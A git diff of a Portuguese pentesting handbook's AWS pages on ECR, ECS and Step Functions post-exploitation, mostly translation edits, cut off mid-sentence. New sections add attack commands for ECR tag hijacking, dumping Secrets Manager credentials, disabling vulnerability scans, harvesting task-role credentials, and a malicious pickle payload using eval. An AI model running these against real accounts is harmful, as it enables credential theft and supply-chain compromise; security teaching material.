diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md index a9da5414c..3dd20f387 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md @@ -47,15 +47,73 @@ aws ecr get-download-url-for-layer \ --registry-id 653711331788 \ --layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" ``` -Após baixar as imagens, você deve **verificá-las em busca de informações sensíveis**: +Após baixar as imagens você deve **verificá-las em busca de informações sensíveis**: {{#ref}} https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html {{#endref}} +### Sobrescrever uma tag confiável via `ecr:PutImage` (Tag Hijacking / Supply Chain) + +Se os consumidores fazem deploy por tag (por exemplo `stable`, `prod`, `latest`) e as tags são mutáveis, `ecr:PutImage` pode ser usado para **redirecionar uma tag confiável** para conteúdo controlado pelo atacante ao enviar um manifesto de imagem sob essa tag. + +Uma abordagem comum é copiar o manifesto de uma tag controlada pelo atacante (ou digest) existente e sobrescrever a tag confiável com ele. +```bash +REGION=us-east-1 +REPO="" +SRC_TAG="backdoor" # attacker-controlled tag already present in the repository +DST_TAG="stable" # trusted tag used by downstream systems + +# 1) Fetch the manifest behind the attacker tag +MANIFEST="$(aws ecr batch-get-image \ +--region "$REGION" \ +--repository-name "$REPO" \ +--image-ids imageTag="$SRC_TAG" \ +--query 'images[0].imageManifest' \ +--output text)" + +# 2) Overwrite the trusted tag with that manifest +aws ecr put-image \ +--region "$REGION" \ +--repository-name "$REPO" \ +--image-tag "$DST_TAG" \ +--image-manifest "$MANIFEST" + +# 3) Verify both tags now point to the same digest +aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$DST_TAG" --query 'imageDetails[0].imageDigest' --output text +aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$SRC_TAG" --query 'imageDetails[0].imageDigest' --output text +``` +**Impact**: qualquer workload puxando `.../$REPO:$DST_TAG` receberá conteúdo selecionado pelo atacante sem qualquer alteração em IaC, Kubernetes manifests, ou task definitions. + +#### Exemplo de consumidor a jusante: imagens de container do Lambda atualizando automaticamente quando a tag é alterada + +Se uma função Lambda for implantada como uma **imagem de container** (`PackageType=Image`) e usar uma **ECR tag** (por exemplo, `:stable`, `:prod`) em vez de um digest, sobrescrever essa tag pode transformar a manipulação da cadeia de suprimentos em **execução de código dentro da Lambda execution role** assim que a função for atualizada. + +Como enumerar essa situação: +```bash +REGION=us-east-1 + +# 1) Find image-based Lambda functions and their ImageUri +aws lambda list-functions --region "$REGION" \ +--query "Functions[?PackageType=='Image'].[FunctionName]" --output text | +tr '\t' '\n' | while read -r fn; do +img="$(aws lambda get-function --region "$REGION" --function-name "$fn" --query 'Code.ImageUri' --output text 2>/dev/null || true)" +[ -n "$img" ] && printf '%s\t%s\n' "$fn" "$img" +done + +# 2) Check whether a function references a mutable tag (contains ":") +# Prefer digest pinning (contains "@sha256:") in well-hardened deployments. +``` +How refresh often happens: + +- CI/CD ou GitOps chama regularmente `lambda:UpdateFunctionCode` (mesmo com o mesmo `ImageUri`) para forçar o Lambda a resolver a tag novamente. +- Automação orientada a eventos monitora eventos de imagem do ECR (push/atualizações de tag) e aciona um Lambda/automação de atualização. + +Se você conseguir sobrescrever a tag confiável e existir um mecanismo de atualização, a próxima invocação da função executará código controlado pelo atacante, que poderá então ler variáveis de ambiente, acessar recursos de rede e chamar APIs da AWS usando a role do Lambda (por exemplo, `secretsmanager:GetSecretValue`). + ### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage` -Um atacante com quaisquer dessas permissões pode **criar ou modificar uma política de ciclo de vida para excluir todas as imagens do repositório** e então **excluir todo o repositório ECR**. Isso resultaria na perda de todas as imagens de contêiner armazenadas no repositório. +Um atacante com qualquer uma dessas permissões pode **criar ou modificar uma política de ciclo de vida (lifecycle policy) para excluir todas as imagens no repositório** e então **deletar todo o repositório ECR**. Isso resultaria na perda de todas as imagens de contêiner armazenadas no repositório. ```bash # Create a JSON file with the malicious lifecycle policy echo '{ @@ -90,9 +148,9 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag # Delete multiple images from the ECR public repository aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 ``` -### Exfiltrate credenciais de registry upstream do ECR Pull‑Through Cache (PTC) +### Exfiltrate credenciais de registries upstream do ECR Pull‑Through Cache (PTC) -Se o ECR Pull‑Through Cache estiver configurado para registries upstream autenticados (Docker Hub, GHCR, ACR, etc.), as credenciais upstream são armazenadas no AWS Secrets Manager com um prefixo de nome previsível: `ecr-pullthroughcache/`. Operadores às vezes concedem aos administradores do ECR acesso amplo de leitura ao Secrets Manager, permitindo exfiltration de credenciais e reutilização fora da AWS. +Se o ECR Pull‑Through Cache estiver configurado para registries upstream autenticados (Docker Hub, GHCR, ACR, etc.), as credenciais upstream são armazenadas no AWS Secrets Manager com um prefixo de nome previsível: `ecr-pullthroughcache/`. Operadores às vezes concedem aos ECR admins amplo acesso de leitura ao Secrets Manager, permitindo credential exfiltration e reutilização fora da AWS. Requisitos - secretsmanager:ListSecrets @@ -104,7 +162,7 @@ aws secretsmanager list-secrets \ --query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \ --output text ``` -Extrair segredos descobertos e analisar campos comuns +Dump segredos descobertos e parse campos comuns ```bash for s in $(aws secretsmanager list-secrets \ --query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do @@ -119,20 +177,20 @@ Opcional: validar leaked creds contra o upstream (login somente leitura) echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io ``` Impacto -- A leitura dessas entradas do Secrets Manager fornece credenciais reutilizáveis do registry upstream (nome de usuário/senha ou token), que podem ser abusadas fora da AWS para puxar imagens privadas ou acessar repositórios adicionais dependendo das permissões upstream. +- Ler essas entradas do Secrets Manager fornece credenciais reutilizáveis do registry upstream (username/password ou token), que podem ser abusadas fora da AWS para fazer pull de imagens privadas ou acessar repositórios adicionais dependendo das permissões do upstream. -### Registry-level stealth: disable or downgrade scanning via `ecr:PutRegistryScanningConfiguration` +### Sigilo ao nível do registry: desativar ou rebaixar a varredura via `ecr:PutRegistryScanningConfiguration` -Um atacante com permissões de ECR a nível de registry pode reduzir silenciosamente ou desabilitar o scanning automático de vulnerabilidades para TODOS os repositórios ao configurar a registry scanning configuration como BASIC sem quaisquer regras de scan-on-push. Isso impede que novos pushes de imagens sejam escaneados automaticamente, ocultando imagens vulneráveis ou maliciosas. +Um atacante com permissões de ECR ao nível do registry pode silenciosamente reduzir ou desativar a varredura automática de vulnerabilidades para TODOS os repositórios, definindo a configuração de varredura do registry para BASIC sem quaisquer regras scan-on-push. Isso impede que novos pushes de imagem sejam escaneados automaticamente, ocultando imagens vulneráveis ou maliciosas. -Requirements +Requisitos - ecr:PutRegistryScanningConfiguration - ecr:GetRegistryScanningConfiguration - ecr:PutImageScanningConfiguration (optional, per‑repo) - ecr:DescribeImages, ecr:DescribeImageScanFindings (verification) -Registry-wide downgrade to manual (no auto scans) +Rebaixamento em todo o registry para manual (sem varreduras automáticas) ```bash REGION=us-east-1 # Read current config (save to restore later) @@ -144,7 +202,7 @@ aws ecr put-registry-scanning-configuration \ --scan-type BASIC \ --rules '[]' ``` -Testar com um repo e image +Teste com um repositório e uma imagem ```bash acct=$(aws sts get-caller-identity --query Account --output text) repo=ht-scan-stealth @@ -167,22 +225,22 @@ aws ecr put-image-scanning-configuration \ --repository-name "$repo" \ --image-scanning-configuration scanOnPush=false ``` -Impacto -- Novos envios de imagem em todo o registro não são escaneados automaticamente, reduzindo a visibilidade de conteúdo vulnerável ou malicioso e atrasando a detecção até que um scan manual seja iniciado. +Impact +- Novos envios de imagens para o registro não são scanned automaticamente, reduzindo a visibilidade de conteúdo vulnerável ou malicioso e adiando a detecção até que um manual scan seja iniciado. -### Rebaixamento do mecanismo de scanning em todo o registro via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR) +### Rebaixamento do scanning engine a nível do registro via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR) -Reduza a qualidade da detecção de vulnerabilidades em todo o registro ao trocar o mecanismo de scan BASIC do padrão AWS_NATIVE para o engine legado CLAIR. Isso não desativa o scanning, mas pode alterar materialmente os resultados/cobertura. Combine com uma configuração de scanning do registro BASIC sem regras para tornar os scans apenas manuais. +Reduza a qualidade da detecção de vulnerabilidades em todo o registro ao alterar o BASIC scan engine do padrão AWS_NATIVE para o legacy CLAIR. Isto não desativa o scanning, mas pode alterar materialmente os findings/coverage. Combine com uma configuração de registry scanning BASIC sem regras para tornar os scans manual-only. Requisitos - `ecr:PutAccountSetting`, `ecr:GetAccountSetting` - (Opcional) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration` Impacto -- Configuração do registro `BASIC_SCAN_TYPE_VERSION` definida como `CLAIR`, de modo que os scans BASIC subsequentes sejam executados com o engine rebaixado. CloudTrail registra a chamada de API `PutAccountSetting`. +- Registry setting `BASIC_SCAN_TYPE_VERSION` definido para `CLAIR` para que os scans BASIC subsequentes sejam executados com o engine rebaixado. CloudTrail registra a chamada API `PutAccountSetting`. -Etapas +Passos ```bash REGION=us-east-1 @@ -201,7 +259,7 @@ aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC - # 5) Restore to AWS_NATIVE when finished to avoid side effects aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE ``` -### Escanear imagens do ECR em busca de vulnerabilidades +### Escanear imagens ECR em busca de vulnerabilidades ```bash #!/bin/bash diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md index 14d7eb81a..580a813bf 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md @@ -4,16 +4,16 @@ ## ECS -Para mais informações veja: +Para mais informações, confira: {{#ref}} ../../aws-services/aws-ecs-enum.md {{#endref}} -### Host IAM Roles +### Funções IAM do host In ECS an **IAM role can be assigned to the task** running inside the container. **If** the task is run inside an **EC2** instance, the **EC2 instance** will have **another IAM** role attached to it.\ -Which means that if you manage to **compromise** an ECS instance you can potentially **obtain the IAM role associated to the ECR and to the EC2 instance**. For more info about how to get those credentials check: +Which means that if you manage to **compromise** an ECS instance you can potentially **obtain the IAM role associated to the ECR and to the EC2 instance**. Para mais info sobre como obter essas credentials confira: {{#ref}} https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html @@ -26,19 +26,19 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/ But moreover, EC2 uses docker to run ECs tasks, so if you can escape to the node or **access the docker socket**, you can **check** which **other containers** are being run, and even **get inside of them** and **steal their IAM roles** attached. -#### Making containers run in current host +#### Fazer com que containers rodem no host atual Furthermore, the **EC2 instance role** will usually have enough **permissions** to **update the container instance state** of the EC2 instances being used as nodes inside the cluster. An attacker could modify the **state of an instance to DRAINING**, then ECS will **remove all the tasks from it** and the ones being run as **REPLICA** will be **run in a different instance,** potentially inside the **attackers instance** so he can **steal their IAM roles** and potential sensitive info from inside the container. ```bash aws ecs update-container-instances-state \ --cluster --status DRAINING --container-instances ``` -A mesma técnica pode ser feita **removendo a instância EC2 do cluster**. Isso é potencialmente menos furtivo, mas irá **forçar as tasks a serem executadas em outras instâncias:** +A mesma técnica pode ser feita ao **desregistrar a instância EC2 do cluster**. Isso é potencialmente menos discreto, mas irá **forçar as tasks a serem executadas em outras instâncias:** ```bash aws ecs deregister-container-instance \ --cluster --container-instance --force ``` -Uma técnica final para forçar a reexecução de tasks é indicar ao ECS que a **task ou container foi parada**. Existem 3 APIs potenciais para fazer isso: +Uma técnica final para forçar a reexecução de tasks é indicar ao ECS que a **task or container was stopped**. Existem 3 APIs potenciais para fazer isso: ```bash # Needs: ecs:SubmitTaskStateChange aws ecs submit-task-state-change --cluster \ @@ -50,9 +50,24 @@ aws ecs submit-container-state-change ... # Needs: ecs:SubmitAttachmentStateChanges aws ecs submit-attachment-state-changes ... ``` -### Roube informações sensíveis de containers ECR +#### Ingressar no Cluster com um Host Atacante (Register Container Instance) -A instância EC2 provavelmente também terá a permissão `ecr:GetAuthorizationToken`, permitindo que ela **baixe imagens** (você pode procurar por informações sensíveis nelas). +Outra variante (mais direta do que draining) é **adicionar capacidade que você controla** ao cluster registrando uma instância EC2 como uma container instance (`ecs:RegisterContainerInstance`) e configurando os atributos de container instance necessários para que os placement constraints batam. Uma vez que tasks sejam executadas no seu host, você pode inspecionar/execar nos containers e coletar credenciais `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`. + +Veja a seção sobre `ecs:RegisterContainerInstance` na página de ECS privesc para o fluxo completo. + +### Exfiltrar informações sensíveis de contêineres ECR + +A instância EC2 provavelmente também terá a permissão `ecr:GetAuthorizationToken`, permitindo **baixar imagens** (você pode procurar informações sensíveis nelas). + +### Roubar credenciais de Task Role via `ecs:ExecuteCommand` + +Se `ExecuteCommand` estiver habilitado em uma task, um principal com `ecs:ExecuteCommand` + `ecs:DescribeTasks` pode abrir um shell dentro do container em execução e então consultar o **endpoint de credenciais da task** para colher as credenciais da **task role**: + +- De dentro do container: `curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"` +- Use o `AccessKeyId/SecretAccessKey/Token` retornado para chamar APIs AWS como a task role + +Veja a página de ECS privilege escalation para enumeração e exemplos de comandos. @@ -60,30 +75,30 @@ A instância EC2 provavelmente também terá a permissão `ecr:GetAuthorizationT -### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations) +### Montar um snapshot EBS diretamente em uma task ECS (configuredAtLaunch + volumeConfigurations) -Abuse a integração nativa ECS EBS (2024+) para montar o conteúdo de um snapshot EBS existente diretamente dentro de uma nova task/service do ECS e ler seus dados de dentro do container. +Abuse da integração nativa ECS EBS (2024+) para montar o conteúdo de um snapshot EBS existente diretamente dentro de uma nova task/service ECS e ler seus dados de dentro do container. -- Requer (no mínimo): +- Necessita (mínimo): - ecs:RegisterTaskDefinition -- One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService -- iam:PassRole on: -- função de infraestrutura ECS usada para volumes (política: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`) +- Um dos: ecs:RunTask OR ecs:CreateService/ecs:UpdateService +- iam:PassRole em: +- ECS infrastructure role usada para volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`) - Task execution/Task roles referenciadas pela task definition -- If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys). +- Se o snapshot estiver criptografado com um CMK: permissões KMS para a infra role (a managed policy da AWS acima inclui os grants KMS necessários para chaves gerenciadas pela AWS). -- Impacto: Leia conteúdos arbitrários do disco a partir do snapshot (por exemplo, arquivos de banco de dados) dentro do container e exfiltre via rede/logs. +- Impacto: Ler conteúdos arbitrários do disco a partir do snapshot (por exemplo, arquivos de banco de dados) dentro do container e exfiltrar via rede/logs. Passos (exemplo Fargate): -1) Crie a role de infraestrutura do ECS (se não existir) e anexe a managed policy: +1) Crie a ECS infrastructure role (se não existir) e anexe a managed policy: ```bash aws iam create-role --role-name ecsInfrastructureRole \ --assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}' aws iam attach-role-policy --role-name ecsInfrastructureRole \ --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes ``` -2) Registre uma task definition com um volume marcado `configuredAtLaunch` e monte-o no container. Exemplo (imprime o segredo e depois fica em sleep): +2) Registre uma task definition com um volume marcado `configuredAtLaunch` e monte-o no container. Exemplo (imprime o secret então dorme): ```json { "family": "ht-ebs-read", @@ -103,7 +118,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \ "volumes": [ {"name":"loot", "configuredAtLaunch": true} ] } ``` -3) Crie ou atualize um serviço passando o EBS snapshot via `volumeConfigurations.managedEBSVolume` (requer iam:PassRole na role de infra). Exemplo: +3) Crie ou atualize um serviço passando o EBS snapshot via `volumeConfigurations.managedEBSVolume` (requer iam:PassRole na função de infraestrutura). Exemplo: ```json { "cluster": "ht-ecs-ebs", @@ -117,7 +132,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \ ] } ``` -4) Quando a task iniciar, o container pode ler o conteúdo do snapshot no caminho de montagem configurado (por exemplo, `/loot`). Exfiltrate via a network/logs da task. +4) Quando a task iniciar, o container pode ler o conteúdo do snapshot no mount path configurado (por exemplo, `/loot`). Exfiltrate via os network/logs da task. Limpeza: ```bash diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md index d0ea76e88..17b7c31e0 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md @@ -1,4 +1,4 @@ -# AWS - Step Functions Pós-Exploração +# AWS - Step Functions Post Exploitation {{#include ../../../../banners/hacktricks-training.md}} @@ -12,19 +12,19 @@ Para mais informações sobre este serviço da AWS, consulte: ### `states:RevealSecrets` -Essa permissão permite **revelar dados secretos dentro de uma execução**. Para isso, é necessário definir Inspection level como TRACE e o parâmetro revealSecrets como true. +Esta permissão permite **revelar dados secretos dentro de uma execução**. Para isso, é necessário definir Inspection level como TRACE e o parâmetro revealSecrets para true.
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias` -Um atacante com essas permissões poderia excluir permanentemente state machines, suas versões e aliases. Isso pode interromper fluxos de trabalho críticos, resultar em perda de dados e exigir um tempo significativo para recuperar e restaurar as state machines afetadas. Além disso, permitiria que um atacante encobrisse os rastros usados, interrompesse investigações forenses e potencialmente prejudicasse operações ao remover processos essenciais de automação e configurações de estado. +Um atacante com essas permissões seria capaz de excluir permanentemente state machines, suas versões e aliases. Isso pode interromper fluxos de trabalho críticos, resultar em perda de dados e exigir um tempo significativo para recuperar e restaurar as state machines afetadas. Além disso, permitiria a um atacante apagar os rastros usados, atrapalhar investigações forenses e potencialmente incapacitar operações removendo processos essenciais de automação e configurações de estado. > [!NOTE] > -> - Ao deletar uma state machine, você também exclui todas as suas versões e aliases associados. -> - Ao deletar um alias de state machine, você não exclui as versões da state machine que fazem referência a esse alias. -> - Não é possível deletar uma versão de state machine que esteja atualmente referenciada por um ou mais aliases. +> - Ao excluir uma state machine, você também exclui todas as suas versões e aliases associados. +> - Ao excluir um alias de state machine, você não exclui as versões de state machine que fazem referência a esse alias. +> - Não é possível excluir uma versão de state machine que esteja atualmente referenciada por um ou mais aliases. ```bash # Delete state machine aws stepfunctions delete-state-machine --state-machine-arn @@ -33,26 +33,26 @@ aws stepfunctions delete-state-machine-version --state-machine-version-arn ``` -- **Impacto Potencial**: Interrupção de workflows críticos, perda de dados e tempo de inatividade operacional. +- **Impacto Potencial**: Interrupção de fluxos de trabalho críticos, perda de dados e tempo de inatividade operacional. ### `states:UpdateMapRun` -Um atacante com essa permissão poderia manipular a configuração de falha do Map Run e a configuração de paralelismo, podendo aumentar ou diminuir o número máximo de execuções de workflows filhos permitidas, afetando diretamente o desempenho do serviço. Além disso, um atacante poderia adulterar a porcentagem e a contagem de falhas toleradas, podendo reduzir esse valor para 0, de modo que sempre que um item falhar, todo o Map Run falharia, afetando diretamente a execução da state machine e potencialmente interrompendo workflows críticos. +Um atacante com essa permissão seria capaz de manipular a configuração de falha do Map Run e a configuração de paralelismo, podendo aumentar ou diminuir o número máximo de execuções de fluxos de trabalho filho permitidas, afetando diretamente o desempenho do serviço. Além disso, um atacante poderia adulterar a porcentagem e a contagem de falhas toleradas, podendo reduzir esse valor para 0, de modo que toda vez que um item falhar, todo o Map Run falharia, afetando diretamente a execução da máquina de estados e potencialmente interrompendo fluxos de trabalho críticos. ```bash aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ] ``` -- **Impacto Potencial**: Degradação de desempenho e interrupção de fluxos de trabalho críticos. +- **Impacto potencial**: Degradação de desempenho e interrupção de fluxos de trabalho críticos. ### `states:StopExecution` -Um atacante com essa permissão poderia interromper a execução de qualquer state machine, atrapalhando fluxos de trabalho e processos em andamento. Isso pode resultar em transações incompletas, operações de negócio paralisadas e possível corrupção de dados. +Um atacante com essa permissão poderia interromper a execução de qualquer máquina de estados, prejudicando fluxos de trabalho e processos em andamento. Isso pode levar a transações incompletas, operações comerciais paralisadas e possível corrupção de dados. > [!WARNING] > Esta ação não é suportada por **express state machines**. ```bash aws stepfunctions stop-execution --execution-arn [--error ] [--cause ] ``` -- **Impacto Potencial**: Interrupção de fluxos de trabalho em andamento, tempo de inatividade operacional e potencial corrupção de dados. +- **Impacto Potencial**: Interrupção de fluxos de trabalho em andamento, tempo de inatividade operacional e possível corrupção de dados. ### `states:TagResource`, `states:UntagResource` @@ -65,9 +65,51 @@ aws stepfunctions untag-resource --resource-arn --tag-keys --- +### `states:StartExecution` -> Input Injection Into Dangerous Sinks + +`states:StartExecution` é um entrypoint de data-plane. Se uma state machine encaminhar input controlado pelo atacante para uma task que contém um dangerous sink (por exemplo uma Lambda que faz `pickle.loads(base64.b64decode(payload_b64))`), às vezes você pode transformar **StartExecution** em **code execution** e **secret exfiltration** através do output da execução, sem qualquer permissão para atualizar a state machine. + +#### Descobrir o fluxo de trabalho e a Lambda invocada + +Se você tiver `states:List*` / `states:Describe*`, você pode enumerar e ler a definição da state machine: +```bash +REGION=us-east-1 +SM_ARN="" + +aws stepfunctions describe-state-machine --region "$REGION" --state-machine-arn "$SM_ARN" --query definition --output text +``` +Se você também tiver `lambda:GetFunction`, pode baixar o pacote de código da Lambda para entender como a entrada é processada (e confirmar se existe unsafe deserialization): +```bash +LAMBDA_ARN="" +CODE_URL="$(aws lambda get-function --region "$REGION" --function-name "$LAMBDA_ARN" --query 'Code.Location' --output text)" +curl -sSL "$CODE_URL" -o /tmp/lambda.zip +unzip -o /tmp/lambda.zip -d /tmp/lambda_code >/dev/null +ls -la /tmp/lambda_code +``` +#### Exemplo: crafted pickle in execution input (Python) + +Se a Lambda unpickles attacker-controlled data, um malicious pickle pode executar código durante deserialization. Exemplo de payload que avalia uma Python expression no Lambda runtime: +```bash +PAYLOAD_B64="$(python3 - <<'PY' +import base64, pickle + +class P: +def __reduce__(self): +# Replace with a safe proof (e.g. "1+1") or a target-specific read. +return (eval, ("__import__('os').popen('id').read()",)) + +print(base64.b64encode(pickle.dumps(P())).decode()) +PY +)" + +EXEC_ARN="$(aws stepfunctions start-execution --region "$REGION" --state-machine-arn "$SM_ARN" --input "{\"payload_b64\":\"$PAYLOAD_B64\"}" --query executionArn --output text)" +aws stepfunctions describe-execution --region "$REGION" --execution-arn "$EXEC_ARN" --query output --output text +``` +**Impacto**: Quaisquer permissões que o task role tenha (Secrets Manager reads, S3 writes, KMS decrypt, etc.) podem tornar-se acessíveis via crafted input, e o resultado pode ser retornado na saída de execução do Step Functions. + ### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode` -Um atacante que compromete um usuário ou role com as seguintes permissões: +Um atacante que comprometa um usuário ou role com as seguintes permissões: ```json { "Version": "2012-10-17", @@ -87,9 +129,9 @@ Um atacante que compromete um usuário ou role com as seguintes permissões: ] } ``` -...pode conduzir um **high-impact and stealthy post-exploitation attack** combinando Lambda backdooring com manipulação da lógica do Step Function. +...pode conduzir um **post-exploitation attack de alto impacto e furtivo** combinando Lambda backdooring com Step Function logic manipulation. -Este cenário assume que a vítima usa **AWS Step Functions para orquestrar fluxos de trabalho que processam entradas sensíveis**, como credenciais, tokens ou PII. +Este cenário assume que a vítima usa **AWS Step Functions para orquestrar workflows que processam entradas sensíveis**, como credenciais, tokens, ou PII. Exemplo de invocação da vítima: ```bash @@ -103,7 +145,7 @@ Se a Step Function estiver configurada para invocar uma Lambda como `LegitBusine #### Atualizou a função Lambda -O atacante modifica o código da função Lambda já usada pela Step Function (`LegitBusinessLogic`) para exfiltrate silenciosamente os dados de entrada. +O atacante modifica o código da função Lambda já usada pela Step Function (`LegitBusinessLogic`) para exfiltrar silenciosamente os dados de entrada. ```python # send_to_attacker.py import requests @@ -168,18 +210,18 @@ onde a vítima não perceberá a diferença --- -### Configuração da Vítima (Contexto para Exploit) +### Configuração da vítima (Contexto para Exploit) -- A Step Function (`LegitStateMachine`) é usada para processar entrada sensível do usuário. -- Chama uma ou mais funções Lambda, como `LegitBusinessLogic`. +- Uma Step Function (`LegitStateMachine`) é usada para processar entrada sensível do usuário. +- Ela chama uma ou mais funções Lambda, como `LegitBusinessLogic`. --- **Impacto Potencial**: -- Exfiltration silenciosa de dados sensíveis, incluindo secrets, credentials, API keys e PII. -- Sem erros visíveis ou falhas na execução do fluxo de trabalho. -- Difícil de detectar sem auditar o código Lambda ou os traços de execução. -- Permite persistência a longo prazo se o backdoor permanecer no código ou na lógica ASL. +- Silent exfiltration of sensitive data including secrets, credentials, API keys, and PII. +- Sem erros visíveis ou falhas na execução do workflow. +- Difícil de detectar sem auditar o código Lambda ou os traces de execução. +- Permite persistência de longo prazo se o backdoor permanecer no código ou na lógica ASL. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md index 2c6301e1e..dcc148a58 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md @@ -14,11 +14,21 @@ Para mais informações sobre como baixar imagens: ../../aws-post-exploitation/aws-ecr-post-exploitation/README.md {{#endref}} -**Potential Impact:** Privesc indireto ao interceptar informações sensíveis no tráfego. +**Impacto potencial:** Privesc indireto ao interceptar informações sensíveis no tráfego. ### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart` -Um atacante com todas essas permissões **pode fazer login no ECR e fazer upload de imagens**. Isso pode ser útil para escalar privilégios para outros ambientes onde essas imagens estão sendo usadas. +Um atacante com todas essas permissões **pode fazer login no ECR e carregar imagens**. Isso pode ser útil para escalar privilégios para outros ambientes onde essas imagens são usadas. + +Além disso, `ecr:PutImage` pode ser usado para **sobrescrever uma tag existente** (por exemplo `stable` / `prod`) ao fazer upload de um manifesto de imagem diferente sob essa tag, efetivamente sequestrando implantações baseadas em tags. + +Isso se torna especialmente impactante quando downstream consumers fazem deploy por tag e **atualizam automaticamente** em mudanças de tag, tais como: + +- **Lambda container image functions** (`PackageType=Image`) referencing `.../repo:stable` +- ECS services / Kubernetes workloads pulling `repo:prod` (without digest pinning) +- Any CI/CD that redeploys on ECR events + +Nesses casos, uma sobrescrita de tag pode levar a **execução remota de código** no ambiente consumidor e escalada de privilégios para a IAM role usada por essa workload (por exemplo, uma Lambda execution role com `secretsmanager:GetSecretValue`). Para aprender como fazer upload de uma nova imagem/atualizar uma, veja: @@ -32,14 +42,14 @@ Como na seção anterior, mas para repositórios públicos. ### `ecr:SetRepositoryPolicy` -Um atacante com essa permissão poderia **alterar** a **política do repositório** para conceder a si mesmo (ou até a todos) **acesso de leitura/escrita**.\ -Por exemplo, neste exemplo o acesso de leitura é concedido a todos. +Um atacante com essa permissão poderia **mudar** a **repository** **policy** para conceder a si mesmo (ou até a todos) **acesso de leitura/escrita**.\ +Por exemplo, neste exemplo acesso de leitura é dado a todos. ```bash aws ecr set-repository-policy \ --repository-name \ --policy-text file://my-policy.json ``` -Conteúdo de `my-policy.json`: +Conteúdo do `my-policy.json`: ```json { "Version": "2008-10-17", @@ -59,7 +69,7 @@ Conteúdo de `my-policy.json`: ``` ### `ecr-public:SetRepositoryPolicy` -Como na seção anterior, mas para repositórios públicos.\ +Semelhante à seção anterior, mas para repositórios públicos.\ Um atacante pode **modificar a política do repositório** de um repositório ECR Public para conceder acesso público não autorizado ou para escalar seus privilégios. ```bash # Create a JSON file with the malicious public repository policy @@ -91,7 +101,7 @@ aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name ### `ecr:PutRegistryPolicy` -Um atacante com essa permissão poderia **alterar** a **política do registro** para conceder a si mesmo, à sua conta (ou até a todos) **acesso de leitura/gravação**. +Um atacante com essa permissão poderia **alterar** a **registry policy** para conceder a si próprio, à sua conta (ou mesmo a todos) **read/write access**. ```bash aws ecr set-repository-policy \ --repository-name \ @@ -99,37 +109,37 @@ aws ecr set-repository-policy \ ``` ### ecr:CreatePullThroughCacheRule -Abuse regras do ECR Pull Through Cache (PTC) para mapear um namespace upstream controlado pelo atacante para um prefixo privado do ECR confiável. Isso faz com que 